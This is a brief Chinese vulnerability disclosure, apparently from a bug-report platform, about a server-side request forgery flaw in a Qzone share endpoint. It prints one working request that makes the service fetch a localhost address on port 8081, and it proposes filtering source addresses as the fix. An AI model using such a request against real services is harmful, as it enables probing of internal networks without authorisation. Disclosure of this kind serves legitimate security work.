漏洞细节 问题在这里 长话短说。此时请求了这么个js文件。 http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshareget_urlinfo?fupdate=1&url=http://127.0.0.1:8081/&g_tk=2109654981 就这样。 修复方案 过滤来源地址,我也不是很清楚到底该怎么去描述这个修复方法。看猪哥的,总没错。 参见:https://bugs.shuimugan.com/bug/view?bug_no=223955